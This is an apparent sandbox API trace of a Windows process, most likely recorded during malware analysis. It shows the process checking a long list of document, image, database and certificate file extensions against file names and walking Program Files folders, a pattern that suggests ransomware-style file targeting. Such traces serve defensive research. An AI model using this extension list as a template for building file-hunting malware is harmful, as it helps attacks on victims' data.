	[0258.001] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".cin") returned 4
	[0258.001] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".class") returned 6
	[0258.001] lstrcmpiW (lpString1=".class", lpString2="ct.dll") returned -1
	[0258.002] lstrlenW (lpString=".clx") returned 4
	[0258.002] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".config") returned 7
	[0258.002] lstrcmpiW (lpString1=".config", lpString2="act.dll") returned -1
	[0258.002] lstrlenW (lpString=".cpp") returned 4
	[0258.002] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".cr2") returned 4
	[0258.002] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".crt") returned 4
	[0258.002] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".crw") returned 4
	[0258.002] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".cs") returned 3
	[0258.002] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0258.002] lstrlenW (lpString=".css") returned 4
	[0258.002] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".csv") returned 4
	[0258.002] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0258.002] lstrlenW (lpString=".cub") returned 4
	[0258.002] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0258.113] lstrlenW (lpString=".dae") returned 4
	[0258.113] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0258.113] lstrlenW (lpString=".dat") returned 4
	[0258.114] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".db") returned 3
	[0258.114] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0258.114] lstrlenW (lpString=".dbf") returned 4
	[0258.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dbx") returned 4
	[0258.114] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dc3") returned 4
	[0258.114] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dcm") returned 4
	[0258.114] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dcr") returned 4
	[0258.114] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".der") returned 4
	[0258.114] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dib") returned 4
	[0258.114] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dic") returned 4
	[0258.114] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".dif") returned 4
	[0258.114] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0258.114] lstrlenW (lpString=".divx") returned 5
	[0258.114] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1
	[0258.114] lstrlenW (lpString=".djvu") returned 5
	[0258.114] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1
	[0258.114] lstrlenW (lpString=".dng") returned 4
	[0258.114] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0258.114] lstrlenW (lpString=".doc") returned 4
	[0258.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0258.114] lstrlenW (lpString=".docm") returned 5
	[0258.114] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1
	[0258.114] lstrlenW (lpString=".docx") returned 5
	[0258.115] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0258.115] lstrlenW (lpString=".dot") returned 4
	[0258.115] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dotm") returned 5
	[0258.115] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1
	[0258.115] lstrlenW (lpString=".dotx") returned 5
	[0258.115] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1
	[0258.115] lstrlenW (lpString=".dpx") returned 4
	[0258.115] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dqy") returned 4
	[0258.115] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dsn") returned 4
	[0258.115] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dt") returned 3
	[0258.115] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0258.115] lstrlenW (lpString=".dtd") returned 4
	[0258.115] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dwg") returned 4
	[0258.115] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dwt") returned 4
	[0258.115] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".dx") returned 3
	[0258.115] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0258.115] lstrlenW (lpString=".dxf") returned 4
	[0258.115] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".edml") returned 5
	[0258.115] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1
	[0258.115] lstrlenW (lpString=".efd") returned 4
	[0258.115] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".elf") returned 4
	[0258.115] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0258.115] lstrlenW (lpString=".emf") returned 4
	[0258.116] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".emz") returned 4
	[0258.116] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".epf") returned 4
	[0258.116] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".eps") returned 4
	[0258.116] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".epsf") returned 5
	[0258.116] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1
	[0258.116] lstrlenW (lpString=".epsp") returned 5
	[0258.116] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1
	[0258.116] lstrlenW (lpString=".erf") returned 4
	[0258.116] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".exr") returned 4
	[0258.116] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".f4v") returned 4
	[0258.116] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".fido") returned 5
	[0258.116] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1
	[0258.116] lstrlenW (lpString=".flm") returned 4
	[0258.116] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".flv") returned 4
	[0258.116] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".frm") returned 4
	[0258.116] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".fxg") returned 4
	[0258.116] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".geo") returned 4
	[0258.116] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".gif") returned 4
	[0258.116] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0258.116] lstrlenW (lpString=".grs") returned 4
	[0258.117] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".gz") returned 3
	[0258.117] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0258.117] lstrlenW (lpString=".h") returned 2
	[0258.117] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0258.117] lstrlenW (lpString=".hdr") returned 4
	[0258.117] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".hpp") returned 4
	[0258.117] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".hta") returned 4
	[0258.117] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".htc") returned 4
	[0258.117] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".htm") returned 4
	[0258.117] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".html") returned 5
	[0258.117] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1
	[0258.117] lstrlenW (lpString=".icb") returned 4
	[0258.117] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".ics") returned 4
	[0258.117] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".iff") returned 4
	[0258.117] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".inc") returned 4
	[0258.117] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0258.117] lstrlenW (lpString=".indd") returned 5
	[0258.117] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1
	[0258.118] lstrlenW (lpString=".ini") returned 4
	[0258.118] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".iqy") returned 4
	[0258.118] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".j2c") returned 4
	[0258.118] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".j2k") returned 4
	[0258.118] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".java") returned 5
	[0258.118] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1
	[0258.118] lstrlenW (lpString=".jp2") returned 4
	[0258.118] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".jpc") returned 4
	[0258.118] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".jpe") returned 4
	[0258.118] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".jpeg") returned 5
	[0258.118] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1
	[0258.118] lstrlenW (lpString=".jpf") returned 4
	[0258.118] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".jpg") returned 4
	[0258.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".jpx") returned 4
	[0258.118] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".js") returned 3
	[0258.118] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0258.118] lstrlenW (lpString=".jsf") returned 4
	[0258.118] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0258.118] lstrlenW (lpString=".json") returned 5
	[0258.118] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1
	[0258.118] lstrlenW (lpString=".jsp") returned 4
	[0258.119] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".kdc") returned 4
	[0258.119] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".kmz") returned 4
	[0258.119] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".kwm") returned 4
	[0258.119] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".lasso") returned 6
	[0258.119] lstrcmpiW (lpString1=".lasso", lpString2="ct.dll") returned -1
	[0258.119] lstrlenW (lpString=".lbi") returned 4
	[0258.119] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".lgf") returned 4
	[0258.119] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".lgp") returned 4
	[0258.119] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".log") returned 4
	[0258.119] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".m1v") returned 4
	[0258.119] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".m4a") returned 4
	[0258.119] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".m4v") returned 4
	[0258.119] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".max") returned 4
	[0258.119] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".md") returned 3
	[0258.119] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0258.119] lstrlenW (lpString=".mda") returned 4
	[0258.119] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".mdb") returned 4
	[0258.119] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0258.119] lstrlenW (lpString=".mde") returned 4
	[0258.120] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mdf") returned 4
	[0258.120] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mdw") returned 4
	[0258.120] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mef") returned 4
	[0258.120] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mft") returned 4
	[0258.120] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mfw") returned 4
	[0258.120] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mht") returned 4
	[0258.120] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mhtml") returned 6
	[0258.120] lstrcmpiW (lpString1=".mhtml", lpString2="ct.dll") returned -1
	[0258.120] lstrlenW (lpString=".mka") returned 4
	[0258.120] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mkidx") returned 6
	[0258.120] lstrcmpiW (lpString1=".mkidx", lpString2="ct.dll") returned -1
	[0258.120] lstrlenW (lpString=".mkv") returned 4
	[0258.120] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mos") returned 4
	[0258.120] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mov") returned 4
	[0258.120] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mp3") returned 4
	[0258.120] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mp4") returned 4
	[0258.120] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0258.120] lstrlenW (lpString=".mpeg") returned 5
	[0258.120] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1
	[0258.121] lstrlenW (lpString=".mpg") returned 4
	[0258.121] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".mpv") returned 4
	[0258.121] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".mrw") returned 4
	[0258.121] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".msg") returned 4
	[0258.121] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".mxl") returned 4
	[0258.121] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".myd") returned 4
	[0258.121] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".myi") returned 4
	[0258.121] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".nef") returned 4
	[0258.121] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".nrw") returned 4
	[0258.121] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".obj") returned 4
	[0258.121] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".odb") returned 4
	[0258.121] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".odc") returned 4
	[0258.121] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".odm") returned 4
	[0258.121] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".odp") returned 4
	[0258.121] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".ods") returned 4
	[0258.121] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0258.121] lstrlenW (lpString=".oft") returned 4
	[0258.122] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".one") returned 4
	[0258.122] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".onepkg") returned 7
	[0258.122] lstrcmpiW (lpString1=".onepkg", lpString2="act.dll") returned -1
	[0258.122] lstrlenW (lpString=".onetoc2") returned 8
	[0258.122] lstrcmpiW (lpString1=".onetoc2", lpString2="ract.dll") returned -1
	[0258.122] lstrlenW (lpString=".opt") returned 4
	[0258.122] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".oqy") returned 4
	[0258.122] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".orf") returned 4
	[0258.122] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".p12") returned 4
	[0258.122] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".p7b") returned 4
	[0258.122] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".p7c") returned 4
	[0258.122] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pam") returned 4
	[0258.122] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pbm") returned 4
	[0258.122] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pct") returned 4
	[0258.122] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pcx") returned 4
	[0258.122] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pdd") returned 4
	[0258.122] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0258.122] lstrlenW (lpString=".pdf") returned 4
	[0258.122] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pdp") returned 4
	[0258.123] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pef") returned 4
	[0258.123] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pem") returned 4
	[0258.123] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pff") returned 4
	[0258.123] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pfm") returned 4
	[0258.123] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pfx") returned 4
	[0258.123] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".pgm") returned 4
	[0258.123] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".php") returned 4
	[0258.123] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0258.123] lstrlenW (lpString=".php3") returned 5
	[0258.123] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1
	[0258.123] lstrlenW (lpString=".php4") returned 5
	[0258.123] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1
	[0258.123] lstrlenW (lpString=".php5") returned 5
	[0258.123] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1
	[0258.123] lstrlenW (lpString=".phtml") returned 6
	[0258.123] lstrcmpiW (lpString1=".phtml", lpString2="ct.dll") returned -1
	[0258.123] lstrlenW (lpString=".pict") returned 5
	[0258.123] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1
	[0258.123] lstrlenW (lpString=".pl") returned 3
	[0258.123] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0258.123] lstrlenW (lpString=".pls") returned 4
	[0258.123] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".pm") returned 3
	[0258.124] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0258.124] lstrlenW (lpString=".png") returned 4
	[0258.124] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".pnm") returned 4
	[0258.124] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".pot") returned 4
	[0258.124] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".potm") returned 5
	[0258.124] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".potx") returned 5
	[0258.124] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".ppa") returned 4
	[0258.124] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".ppam") returned 5
	[0258.124] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".ppm") returned 4
	[0258.124] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".pps") returned 4
	[0258.124] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".ppsm") returned 5
	[0258.124] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".ppt") returned 4
	[0258.124] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".pptm") returned 5
	[0258.124] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".pptx") returned 5
	[0258.124] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1
	[0258.124] lstrlenW (lpString=".prn") returned 4
	[0258.124] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0258.124] lstrlenW (lpString=".ps") returned 3
	[0258.124] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0258.124] lstrlenW (lpString=".psb") returned 4
	[0258.125] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".psd") returned 4
	[0258.125] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".pst") returned 4
	[0258.125] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".ptx") returned 4
	[0258.125] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".pub") returned 4
	[0258.125] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".pwm") returned 4
	[0258.125] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".pxr") returned 4
	[0258.125] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".py") returned 3
	[0258.125] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0258.125] lstrlenW (lpString=".qt") returned 3
	[0258.125] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0258.125] lstrlenW (lpString=".r3d") returned 4
	[0258.125] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".raf") returned 4
	[0258.125] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".rar") returned 4
	[0258.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0258.125] lstrlenW (lpString=".raw") returned 4
	[0258.125] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0258.126] FindClose (in: hFindFile=0x41b2090 | out: hFindFile=0x41b2090) returned 1
	[0258.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0258.126] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0258.126] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0258.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0258.128] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0258.128] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0258.128] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0258.128] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0258.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0258.128] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
